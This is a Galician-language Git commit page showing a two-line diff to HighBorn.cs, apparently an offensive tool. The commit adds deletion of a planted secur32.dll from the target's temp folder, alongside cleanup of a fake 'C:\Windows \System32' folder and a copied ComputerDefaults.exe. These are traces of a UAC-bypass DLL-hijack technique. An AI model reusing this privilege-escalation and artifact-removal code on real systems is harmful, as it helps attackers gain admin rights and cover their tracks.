Explorar o código

Update HighBorn.cs

Updated to delete the dll from the temp folder on the target.
assume-breach %!s(int64=3) %!d(string=hai) anos
pai
achega
79a850e843
Modificáronse 1 ficheiros con 2 adicións e 1 borrados
  1. 2 1
      HighBorn/HighBorn.cs

+ 2 - 1
HighBorn/HighBorn.cs

@@ -87,7 +87,8 @@ namespace HighBorn
             }
             }
 
 
             Console.WriteLine("[^] Cleaning Up");
             Console.WriteLine("[^] Cleaning Up");
-            
+		
+            	DeleteFileW(@"C:\Windows\temp\secur32.dll");
         	DeleteFileW(@"C:\Windows \System32\ComputerDefaults.exe");
         	DeleteFileW(@"C:\Windows \System32\ComputerDefaults.exe");
 		DeleteFileW(@"C:\Windows \System32\secur32.dll");
 		DeleteFileW(@"C:\Windows \System32\secur32.dll");
 		RemoveDirectory(@"C:\Windows \System32\");
 		RemoveDirectory(@"C:\Windows \System32\");